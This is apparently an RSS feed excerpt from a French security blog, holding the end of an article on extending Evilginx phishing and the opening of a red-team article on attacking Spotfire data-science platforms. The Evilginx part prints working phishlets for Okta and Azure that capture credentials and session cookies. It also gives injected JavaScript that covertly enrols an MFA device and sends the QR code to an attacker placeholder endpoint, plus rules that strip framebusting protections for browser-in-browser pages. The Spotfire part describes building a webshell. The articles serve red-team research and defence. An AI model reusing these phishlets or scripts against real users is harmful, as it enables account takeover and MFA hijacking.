/><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'<br />    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok9static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />auth_tokens:<br />  - domain: '{okta_orga}.okta.com'<br />    keys: ['idx:always']<br /><br />credentials:<br />  username:<br />    key: ''<br />    search: '"identifier":"([^"]*)"'<br />    type: 'json'<br /><br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />login:<br />  domain: '{okta_orga}.okta.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'</pre>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Azure</h5>
<pre>name: 'o365-wavestone'<br />min_ver: '3.0.0'<br /><br />proxy_hosts:<br />  - phish_sub: 'login'<br />    orig_sub: 'login'<br />    domain: 'microsoftonline.com'<br />    session: true<br />    is_landing: true<br /><br />  - phish_sub: 'www'<br />    orig_sub: 'www'<br />    domain: 'office.com'<br />    session: true<br />    is_landing:false<br /><br />  - phish_sub: 'aadcdn'<br />    orig_sub: 'aadcdn'<br />    domain: 'msftauth.net'<br />    session: false<br />    auto_filter: true<br />    is_landing:false<br /><br />auth_tokens:<br />  - domain: '.login.microsoftonline.com'<br />    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']<br />  - domain: 'login.microsoftonline.com'<br />    keys: ['SignInStateCookie']<br /><br />credentials:<br />  username:<br />    key: 'login'<br />    search: '(.*)'<br />    type: 'post'<br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />auth_urls:<br />  - '/common/SAS/ProcessAuth'<br />  - '/kmsi'<br /><br />login:<br />  domain: 'login.microsoftonline.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'<br /><br />  - path: '/common/SAS'<br />    search:<br />      - {key: 'rememberMFA', search: '.*'}<br />    force:<br />      - {key: 'rememberMFA', value: 'true'}<br />    type: 'post'</pre>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Automatiser les actions critiques</h2>
<p> </p>
<h3 style="text-align: justify;">Ajouter un nouvel appareil au MFA</h3>
<p style="text-align: justify;">Une fois qu&rsquo;un attaquant est en mesure de récupérer un accès initial à la session de l&rsquo;utilisateur, il doit mettre en place une persistance de l&rsquo;accès car les cookies ont une durée de validité limitée.</p>
<p style="text-align: justify;">Cela se fait généralement en ajoutant un nouvel appareil au MFA associé au compte de l&rsquo;utilisateur.</p>
<p style="text-align: justify;">Par exemple, sur Azure, l’ajout d’un dispositif MFA ne nécessite pas de réauthentification ou de validation MFA. Ainsi,<strong> tant que l’attaquant a accès à la session utilisateur, il peut directement enregistrer son dispositif MFA malveillant</strong>.</p>
<p style="text-align: justify;">En revanche, sur certaines plateformes d’identification comme <strong>Okta, l’enregistrement d’un MFA exige une validation MFA préalable</strong>. Même si un attaquant parvient à compromettre la session Okta de l’utilisateur, il ne pourra pas ajouter un dispositif MFA directement.</p>
<p style="text-align: justify;">Il pourrait être intéressant d’ajouter cette étape de réauthentification dans le scénario d’attaque par phishing :</p>
<ol style="text-align: justify;">
<li>L’utilisateur s’authentifie une première fois pour accéder à sa session</li>
<li>Evilginx vole les cookies de session</li>
<li>Evilginx effectue des appels API automatiques pour déclencher l’enregistrement de l’appareil MFA en arrière-plan</li>
<li>L’utilisateur revalide son MFA, pensant que la première tentative a échoué</li>
<li>Evilginx intercepte le QR Code MFA, permettant à l’attaquant de finaliser l’enregistrement de son propre appareil</li>
</ol>
<p style="text-align: justify;">Toutes ces actions <strong>peuvent être automatisées via Evilginx en modifiant les scripts JS.</strong></p>
<p style="text-align: justify;">Dans un premier temps, Evilginx interceptera la redirection effectuée à la fin de la première authentification, et redirigera l’utilisateur vers une fausse page contrôlée par l’attaquant.</p>
<pre style="text-align: justify;">  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/app/UserHome']<br />    script: |<br />  if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}</pre>
<p style="text-align: justify;">Ce script <strong>sera injecté uniquement dans la page /app/UserHome et ne sera déclenché que lorsque cette page est accédée depuis /enduser/callback</strong>. Cela garantit que l’utilisateur est redirigé vers une page de leurre uniquement une fois que le premier processus d’authentification est terminé. Dans ce cas précis, la page de leurre est la page /help/login d’Okta. Cette redirection vers une page de leurre est indispensable, sinon l’utilisateur reste bloqué dans <strong>une boucle de redirection infinie à la fin de son authentification</strong>.</p>
<p style="text-align: justify;">Ensuite,<strong> un nouveau code JS est ajouté à la page /help/login</strong>. Ce script permet d’énumérer les technologies MFA disponibles et configurées :</p>
<pre style="text-align: justify;">  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/help/login']<br />    script: |<br />      function u4tyd783z(){<br />        fetch('/api/v1/authenticators')<br />        .then((data) =&gt; {<br />            data.json().then((jData)=&gt;{<br />                let id = undefined<br />                for(let elt of jData){<br />                    if(elt.key == 'okta_verify'){<br />                        id = elt.id<br />                    }<br />                }<br />                if(id == undefined){<br />                    return<br />                }<br />                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)<br />                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id<br />            })<br />        })<br />      }<br />      u4tyd783z();</pre>
<p style="text-align: justify;">Le script <strong>sélectionne la méthode d’authentification “Okta Verify” </strong>et redirige l’utilisateur vers la page de configuration.</p>
<p style="text-align: justify;">Sur cette page de configuration, un nouveau script JS est injecté. <strong>Ce script automatise les étapes d’enregistrement afin de ne laisser visible que le formulaire de validation MFA</strong> :</p>
<pre style="text-align: justify;">- trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/idp/authenticators/setup/.*']<br />    script: |<br />      function u720dhfn2(){<br />        if(document.querySelectorAll('.button.select-factor.link-button').length &gt; 0){<br />            document.querySelectorAll('.button.select-factor.link-button')[0].click()<br />            document.querySelectorAll('body')[0].style.display = 'none'<br />            a = true<br />        }<br />        if(document.querySelectorAll('a.orOnMobileLink').length &gt; 0){<br />            document.querySelectorAll('a.orOnMobileLink')[0].click()<br />            b = true<br />        }<br />        if(document.querySelectorAll('img.qrcode').length &gt; 0){<br />            fetch("{qrcode_sink}", {<br />              method: 'POST',<br />              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})<br />            }).then(()=&gt;{<br />              document.location='{redirect_server}'<br />            }).catch(()=&gt;{<br />              document.location='{redirect_server}'<br />            })<br /><br />            clearInterval(myInterval)<br />        }<br />      }<br />      var a = false<br />      var b = false<br />      var myInterval = setInterval(function(){u720dhfn2()}, 10)</pre>
<p style="text-align: justify;">Une fois que l’utilisateur a validé l’authentification <strong>MFA, le script repère le QR Code affiché et l’exfiltre via une requête HTTP.</strong></p>
<p style="text-align: justify;">L’attaquant peut alors récupérer ce QR Code et enregistrer son propre appareil.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Aller plus loin</h2>
<p> </p>
<h3 style="text-align: justify;">Okta avec l’authentification Azure</h3>
<p style="text-align: justify;">Certaines entreprises associent deux fournisseurs d&rsquo;identité (IdP) :<strong> Okta redirige vers Azure et crée automatiquement le compte utilisateur lors de la première connexion.</strong></p>
<p style="text-align: justify;">Cette configuration est particulièrement intéressante pour un attaquant, car elle lui permet d’exfiltrer les sessions Azure et Okta à l’aide d’un seul phishing.</p>
<p style="text-align: justify;">Pour ce faire, les deux phislets précédents doivent<strong> être fusionnés afin de capturer les deux processus d’authentification.</strong> L’essentiel est de s’assurer qu’Okta redirige vers le domaine Azure Evilginx, et non vers login.microsoftonline.com.</p>
<p style="text-align: justify;">Heureusement, cette redirection est effectuée via un formulaire HTML en clair qui est soumis automatiquement dans la réponse d’Okta :</p>
<pre style="text-align: justify;">&lt;form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST"&gt;[...]&lt;/form&gt;</pre>
<p style="text-align: justify;">Comme le domaine Azure est codé en dur dans le HTML, Evilginx peut le remplacer</p>
<p style="text-align: justify;">De même, une fois l’authentification terminée chez Microsoft, la redirection vers Okta peut être interceptée, et Evilginx peut substituer le domaine Okta réel par son équivalent malveillant, permettant ainsi la récupération du cookie de session Azure.</p>
<p style="text-align: justify;">En résumé<em>, </em><strong>dans cette configuration spécifique, il est possible de simplement fusionner les deux phislets précédents.</strong></p>
<h3> </h3>
<h3 style="text-align: justify;">Frame buster</h3>
<p style="text-align: justify;">De plus en plus d’utilisateurs vérifient l’URL d’authentification avant de saisir leurs identifiants. Pour contourner cette vérification, il est possible d’utiliser la technique dite du “Browser-in-Browser”.</p>
<p style="text-align: justify;">L’idée est d’intégrer l’application de phishing dans une iframe et de construire une fausse interface ressemblant à une fenêtre Chrome autour de cette iframe, afin de faire passer cette dernière pour une pop-up légitime.</p>
<p style="text-align: justify;">Étant donné que l’apparence de la fenêtre est entièrement recréée, il devient possible d’y afficher une fausse adresse. Dans la figure ci-dessous, un formulaire Google est intégré via une iframe mais donne l’impression d’une véritable pop-up:</p>
<figure id="attachment_26689" aria-describedby="caption-attachment-26689" style="width: 969px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26689" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-374x191.png" alt="Image montrant la technique du de &quot;Browser-in-browser&quot;, avec l'affichage d'une fausse pop up qui montre une url de confiance" width="969" height="495" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser.png 680w" sizes="auto, (max-width: 969px) 100vw, 969px" /><figcaption id="caption-attachment-26689" class="wp-caption-text"><em>Exemple de « Browser-in-browser »</em></figcaption></figure>
<p style="text-align: justify;">Le principal problème ici est que la plupart des formulaires d’authentification des fournisseurs d’identité (IdP) mettent en œuvre plusieurs techniques pour empêcher leur intégration dans une iframe. Ces techniques sont appelées <em>framebusters</em>.</p>
<p style="text-align: justify;">Bien qu’Okta ne semble pas appliquer de telles protections, le formulaire d’authentification d’Azure contient de nombreuses fonctionnalités qui cesseraient de fonctionner s’il était intégré dans une iframe.</p>
<h4> </h4>
<h4 style="text-align: justify;">Self == top</h4>
<p style="text-align: justify;">La technique de <em>framebuster</em> la plus simple consiste à vérifier si la frame actuelle est la frame principale (<em>top frame</em>), ce que Microsoft implémente. Si le formulaire d’authentification détecte qu’il n’est pas affiché dans la frame principale, il refuse de s’afficher.</p>
<p style="text-align: justify;">Avec Evilginx, il est possible de désactiver cette vérification à l’aide d’un simple modèle de correspondance et de remplacement (<em>match &amp; replace</em>) :</p>
<pre style="text-align: justify;">Replace: if(e.self===e.top){<br />By: if(true){window.oldself=e.self;e.self=e.top;</pre>
<p style="text-align: justify;">Cette modification permet de faire passer l’iframe pour la frame principale (<em>top frame</em>), contournant ainsi la protection.</p>
<h4> </h4>
<h4 style="text-align: justify;">Target=”_top”</h4>
<p style="text-align: justify;">La technique suivante consiste à forcer la soumission du formulaire à rediriger la <em>top frame</em>. Ainsi, si le formulaire est soumis dans une iframe, la redirection s’appliquera non seulement à cette iframe, mais à toute la page, ce qui casse l’effet “Browser-in-Browser”.</p>
<p style="text-align: justify;">Cela peut être réalisé en ajoutant l’attribut target= »_top » au formulaire. Il est ensuite possible de désactiver cette protection avec Evilginx :</p>
<pre style="text-align: justify;"><u>Replace:</u> method="post" target="_top"<br /><u>By:</u> method="post"</pre>
<h4> </h4>
<h4 style="text-align: justify;">Framework specific</h4>
<p style="text-align: justify;">Microsoft utilise un framework spécifique pour ses applications. Ce framework n’implémente pas à proprement parler de techniques de <em>framebusting</em>, mais son fonctionnement interne rend son intégration dans une iframe particulièrement complexe.</p>
<p style="text-align: justify;">Une des limitations principales apparaît au moment où le framework tente d’envoyer des données à une URL construite à partir du domaine de la <em>top frame</em>. Ainsi, au lieu d’envoyer les données à login.evilginx.com, elles sont envoyées à my-phishing-app.com, ce qui interrompt complètement le processus d’authentification.</p>
<p style="text-align: justify;">Pour modifier cette adresse, il n’est pas possible de simplement remplacer le domaine par celui du site de phishing comme cela a été fait précédemment. Il est nécessaire de comprendre le fonctionnement du framework afin de modifier manuellement cette valeur au niveau de l’élément racine :</p>
<pre style="text-align: justify;"><u>Replace:</u> autoSubmit: forceSubmit, attr: { action: postUrl }<br /><u>By:</u> autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}</pre>
<h4> </h4>
<h4 style="text-align: justify;">HTTP header</h4>
<p style="text-align: justify;">La dernière technique de <em>framebusting</em> repose sur l’en-tête HTTP X-Frame-Options: DENY, qui indique au navigateur que l’application ne peut pas être affichée dans une iframe.</p>
<p style="text-align: justify;">Il est possible de supprimer cet en-tête à l’aide d’Evilginx :</p>
<pre style="text-align: justify;"><u>Replace:</u> X-Frame-Options: DENY<br /><u>By:</u> Test: Test</pre>
<h4> </h4>
<h4 style="text-align: justify;">Final phishlet</h4>
<p style="text-align: justify;">The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:</p>
<ul style="text-align: justify;">
<li>Retrieve the Azure credentials</li>
<li>Retrieve the Azure cookies</li>
<li>Retrieve the Okta cookies</li>
<li>Retrieve the MFA enrollment QRCode for Okta</li>
</ul>
<p style="text-align: justify;">La vidéo suivante présente un exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure. Lors d’un seul et unique phishing, l’attaquant est capable de :</p>
<ul style="text-align: justify;">
<li>Récupérer les identifiants Azure</li>
<li>Récupérer les cookies de session Azure</li>
<li>Récupérer les cookies Okta</li>
<li>Récupérer le QR Code d’enrôlement MFA pour Okta</li>
</ul>
<p style="text-align: center;"> </p>
<div align="center"><iframe loading="lazy" title="Exemple d'attaque par phishing" src="https://www.youtube.com/embed/FHsZhNEIH64?si=OxsRrtlIpbkvgdJA" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<p style="text-align: center;"><em>Exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure</em></p>
<p> </p>
<p style="text-align: justify;">L’évolution des techniques de phishing, illustrée par des outils tels qu’Evilginx, révèle une transformation significative des menaces informatiques : il ne s’agit plus uniquement d’exfiltrer des identifiants, mais de détourner des sessions authentifiées dans leur intégralité. En adoptant une posture d’« homme du milieu » (<em>Adversary-in-the-Middle</em>, AiTM), Evilginx est en mesure d’intercepter et de manipuler les échanges entre l’utilisateur et les services légitimes, contournant ainsi les mécanismes traditionnels d’authentification multifacteur (MFA).</p>
<p style="text-align: justify;">Cette capacité ne constitue toutefois qu’un aperçu des possibilités offertes par l’outil. Evilginx peut être ajusté pour automatiser des actions critiques telles que l’enregistrement d’un dispositif MFA, contourner des protections comme les <em>framebusters</em> et garantir un accès persistant à la session utilisateur.</p>
<p style="text-align: justify;">La seule mesure réellement efficace pour réduire les attaques par phishing consiste à déployer des mécanismes d’authentification multifacteur résistants au phishing, tels que les clés FIDO, au minimum pour les comptes administrateurs.</p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/">Phishing : Evilginx poussé à ses limites</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>DataScience pour la RedTeam: Etendre sa surface d&#8217;attaque</title>
		<link>https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/</link>
					<comments>https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 25 Jul 2024 13:06:07 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[DataScience]]></category>
		<category><![CDATA[RedTeam]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=23633</guid>

					<description><![CDATA[<p>  1. Vue d’ensemble Dans un système d’information, les applications ne sont pas égales. Certaines d’entre elles peuvent être utilisées comme un point d’entrée du système d’information, d’autres comme accélérateurs de compromission, et d’autres sont gardées pour la post-exploitation. Ces...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/">DataScience pour la RedTeam: Etendre sa surface d&rsquo;attaque</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1> </h1>
<h1><span style="color: #451dc7;">1. Vue d’ensemble</span></h1>
<p>Dans un système d’information, les applications ne sont pas égales. Certaines d’entre elles peuvent être utilisées comme un point d’entrée du système d’information, <span style="color: #451dc7;"><strong>d’autres comme accélérateurs de compromission</strong></span>, et d’autres sont gardées pour la post-exploitation. Ces applications sont appelées des cibles à hautes valeurs.</p>
<p>Par exemple, durant une attaque habituelle, l’application développée en interne va être ciblée en premier car elle offre une surface d’attaque importante et permet souvent de l’exécution de code distant sur les serveurs joints au domaine. Les infrastructures <span style="color: #250f6b;"><em>CICD</em> </span>sont exploitées pour facilement rebondir sur le réseau interne à travers l’infection de la pipeline <span style="color: #250f6b;"><em>CICD</em> </span>ou la découverte de secrets supplémentaires. <span style="color: #250f6b;"><em>L’ADCS</em> </span>est fortement sollicité pour accélérer la compromission du domaine à travers l’ensemble des vulnérabilités <span style="color: #250f6b;"><em>ESCXX</em></span>.</p>
<p><span style="color: #451dc7;"><strong>La typologie des applications dans chaque catégorie est restée la même depuis plusieurs années</strong></span>, même si de nouveaux concurrents sont apparus au fil du temps, tels que l’application <span style="color: #250f6b;"><em>SCCM</em></span>, la console <span style="color: #250f6b;"><em>EDR</em></span>, etc. Cependant, étant donné que les mêmes techniques sont utilisées depuis plusieurs années, <span style="color: #451dc7;"><strong>les entreprises ont commencé à sécuriser ces éléments, rendant leur compromission et leur exploitation plus difficiles.</strong></span></p>
<p><span style="color: #451dc7;"><strong>Il est temps d’explorer de nouveaux horizons </strong></span>et renouveler ces anciennes pratiques avec un nouvel ensemble d’applications.</p>
<p>Dans cet article, <span style="color: #451dc7;"><strong>nous allons regarder les applications de DataScience</strong></span>. Avec l’essor du <span style="color: #250f6b;"><em>BigData</em></span>, de plus en plus d’entreprises intègrent une infrastructure de <span style="color: #250f6b;"><em>DataScience</em> </span>à leur système d’information. Nous verrons comment ces applications peuvent être exploitées pour :</p>
<ul>
<li><em>Réaliser une exécution de code à distance</em></li>
<li><em>Faire des mouvements latéraux sur le réseau interne</em></li>
<li><em>La diffusion de logiciels malveillants parmi les utilisateurs</em></li>
<li><em>Faciliter la persistance des accès</em></li>
<li><em>Exploiter le Datalake pour le datamining</em></li>
</ul>
<h1><span style="color: #451dc7;">2. Accès initial sur l’application de DataScience</span></h1>
<p>Il existe de nombreuses applications <span style="color: #250f6b;"><em>DataScience</em> </span>différentes. Dans cet article nous nous concentrerons principalement sur les applications <span style="color: #250f6b;"><em>Spotfire</em> </span>et <span style="color: #250f6b;"><em>Dataiku</em> </span>car ce sont soit les plus populaires, soit qui ont le vent en poupe.</p>
<p>La <span style="color: #250f6b;"><em>DataScience</em> </span>étant encore nouvelle dans les entreprises, ces applications sont souvent déployées et maintenues par le métier et non par la <span style="color: #250f6b;"><em>DSI</em></span>.</p>
<p>Disposer d’une application hors du processus informatique standard (<span style="color: #250f6b;"><em>Shadow IT</em></span>) est souvent intéressant pour un attaquant. En effet, lorsqu’une application est mise en place en dehors du processus informatique standard, elle ne met souvent pas en œuvre les règles de sécurité standards imposées par l’entreprise. Ainsi, vous verrez sûrement :</p>
<ul>
<li>Des applications exposées directement sur internet sans protections supplémentaire</li>
<li>Des applications non installées dans une DMZ spécifique avec un accès direct au réseau interne</li>
<li>Des applicaitons avec une authentification locale au lieu du méchanisme d’authentification global de l’entreprise</li>
<li>Un manque de durcissement du processus de déploiement et un manque de déploiement de correctifs de sécurité</li>
</ul>
<p>Ces points peuvent sembler sans importance, mais leur accumulation conduit à la possibilité d’accéder à ces applications directement depuis <span style="color: #250f6b;"><em>Internet</em> </span>avec des informations d’identification non sécurisées, par défaut et toujours valides ou via un contournement d’authentification corrigé il y a quelques années mais jamais mise en place car l’entreprise ne le sait pas ou même ne s’en soucie…</p>
<h1><span style="color: #451dc7;">3. DataScience en tant que RCE as a service</span></h1>
<h2><span style="color: #451dc7;">3.1. Pourquoi utiliser une application de datascience</span></h2>
<p>Avant d’entrer dans le coeur du sujet, prenons un peu de temps pour discuter de l’intérêt et du cas d’utilisation de l’application de <span style="color: #250f6b;"><em>datascience</em></span>.</p>
<p>Prenons comme exemple une entreprise qui vend plusieurs types de produits comme <span style="color: #250f6b;"><em>Amazon</em> </span>ou n’importe quelle marketplace. Cette société souhaite voir en temps réel les produits tendances en fonction de certaines caractéristiques des utilisateurs collectées par les analyses de leur site Web.</p>
<p>Ils peuvent utiliser un fichier <span style="color: #250f6b;"><em>Excel</em> </span>et essayer d’utiliser les fonctionnalités <span style="color: #250f6b;"><em>Excel VBA</em> </span>pour créer des graphiques et des tendances, mais il serait très pénible d’importer manuellement toutes les données dans le fichier <span style="color: #250f6b;"><em>Excel</em> </span>et pour une entreprise comptant des millions de clients, <span style="color: #250f6b;"><em>Excel</em> </span>plantera probablement à chaque fois que quelqu’un éternue à côté.</p>
<p>Pour résoudre ce problème, l’entreprise a commencé à stocker ses données analytiques dans une base de données qui sera appelée <span style="color: #250f6b;"><em>datalake</em></span>. Ensuite, lorsque quelqu’un souhaite créer un joli rapport, il crée un script <span style="color: #250f6b;"><em>python</em> </span>qui se connecte à la base de données, récupère les données pertinentes, les traite via <span style="color: #250f6b;"><em>numpy</em> </span>ou <span style="color: #250f6b;"><em>panda</em> </span>et utilise <span style="color: #250f6b;"><em>matplotlib</em> </span>pour dessiner le graphique et les tendances. C’est bien mieux, l’application peut évoluer, est plus stable mais elle demande des compétences techniques en matière de script donc l’entreprise ne peut pas l’utiliser seule.</p>
<p>La société décide donc de développer une jolie interface pour envelopper tout le script <span style="color: #250f6b;"><em>Python</em> </span>derrière une belle interface utilisateur que tout le monde peut utiliser. Les utilisateurs peuvent se connecter à l’application, choisir les données à importer, les traiter et dessiner des graphiques sans écrire une seule ligne de code.</p>
<p>Ils ont juste créé leur première application de <span style="color: #250f6b;"><em>datascience</em></span>.</p>
<p>Aujourd’hui, les entreprises n’investiront probablement pas plusieurs mois de développement sur ce type de configuration. Ils préfèrent acheter une application commerciale tout-en-un. Parmi ces applications figurent <span style="color: #250f6b;"><em>Spotfire</em> </span>et <span style="color: #250f6b;"><em>Dataiku</em></span>.</p>
<h2><span style="color: #451dc7;">3.2. Où est ma RCE?</span></h2>
<p>Une application <span style="color: #250f6b;"><em>Datascience</em> </span>peut être résumée comme une simple interface pour les scripts de traitement de données. Et parfois, les fonctions intégrées ne suffisent pas, ils exposent donc l’accès à leur moteur de script pour permettre aux développeurs de créer un script personnalisé pouvant être entièrement intégré à l’environnement et utilisé par l’entreprise.</p>
<p> </p>
<h3><span style="color: #451dc7;">3.2.1. Spotfire</span></h3>
<p><span style="text-decoration: underline;"><strong>Infrastructure Spotfire basique</strong></span></p>
<p>Quand déployé tel quel, l’infrastructure <span style="color: #250f6b;"><em>Spotfire</em> </span>ressemble au schéma suivant:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23734" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01.png" alt="" width="4162" height="1834" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01.png 4162w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-433x191.png 433w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-768x338.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-1536x677.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/FR_Figure_01-2048x902.png 2048w" sizes="auto, (max-width: 4162px) 100vw, 4162px" /></p>
<p style="text-align: center;"><em>Figure 1: Basic Spotfire infrastructure</em></p>
<p>L’utilisateur se connecte à une <span style="color: #250f6b;"><em>WebUI</em> </span>exposée par <em><span style="color: #250f6b;">Spotfire WebPlayer</span></em> ou via un client lourd <span style="color: #250f6b;"><em>Spotfire</em> </span>dédié directement depuis son poste de travail et accède à son rapport stocké sur le serveur <span style="color: #250f6b;"><em>Spotfire</em></span>. Une fois les rapports ouverts, ils contactent le serveur <span style="color: #250f6b;"><em>Spotfire</em> </span>pour récupérer les données et exécuter le script de nettoyage des données.</p>
<p><span style="text-decoration: underline;"><strong>Execution de code distant</strong></span></p>
<p><span style="color: #250f6b;"><em>Spotfire</em> </span>permet, de par sa conception, l’exécution d’un script <span style="color: #250f6b;"><em>R</em></span>, mais l’exécution d’un script <em><span style="color: #250f6b;">Python</span> </em>peut être facilement activée en chargeant le module de script <span style="color: #250f6b;"><em>IronPython</em></span>.</p>
<p>Dans tous les cas, les utilisateurs peuvent exécuter des scripts directement depuis <span style="color: #250f6b;"><em>Spotfire WebPlayer</em></span> ou le client lourd. Cependant, ils ne peuvent modifier ou créer des scripts qu’à partir du client lourd <span style="color: #250f6b;"><em>Spotfire</em></span>.</p>
<p>Depuis le client lourd, il est possible de créer un nouveau projet. A l’intérieur du projet, il est possible de créer une <span style="color: #250f6b;"><em>UI</em></span>. Créons un webshell <span style="color: #250f6b;"><em>Spotfire</em></span>.</p>
<p>Tout d’abord, nous allons créer <span style="color: #250f6b;"><em>l’UI</em></span>. Il sera composé d’une <span style="color: #250f6b;"><em>textarea</em> </span>pour taper la commande, une autre <span style="color: #250f6b;"><em>textarea</em> </span>pour afficher le résultat de la commande et un bouton pour envoyer la commande :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23664" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02.jpg" alt="" width="1196" height="758" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02.jpg 1196w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-301x191.jpg 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_02-768x487.jpg 768w" sizes="auto, (max-width: 1196px) 100vw, 1196px" /></p>
<p style="text-align: center;"><em>Figure 2: UI webshell finale</em></p>
<p>Une fois le projet créé, nous créons une nouvelle page vide. Lorsqu’une page vide est créée, <span style="color: #250f6b;"><em>Spotfire</em> </span>demande si l’on souhaite commencer par des données, une visualisation ou autre :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23666" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03.jpg" alt="" width="848" height="524" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03.jpg 848w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-309x191.jpg 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-63x39.jpg 63w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_03-768x475.jpg 768w" sizes="auto, (max-width: 848px) 100vw, 848px" /></p>
<p style="text-align: center;"><em>Figure 3: nouvelle page Spotfire</em></p>
<p>Nous choisirons “<span style="color: #250f6b;"><em>Start from Visualizations</em></span>” et choisirons le type de visualisation “<span style="color: #250f6b;"><em>Text area</em></span>”. Cela devrait afficher une page entièrement vierge:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23668" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04.jpg" alt="" width="840" height="532" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04.jpg 840w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-302x191.jpg 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-62x39.jpg 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_04-768x486.jpg 768w" sizes="auto, (max-width: 840px) 100vw, 840px" /></p>
<p style="text-align: center;"><em>Figure 4: nouvelle textarea de Spotfire</em></p>
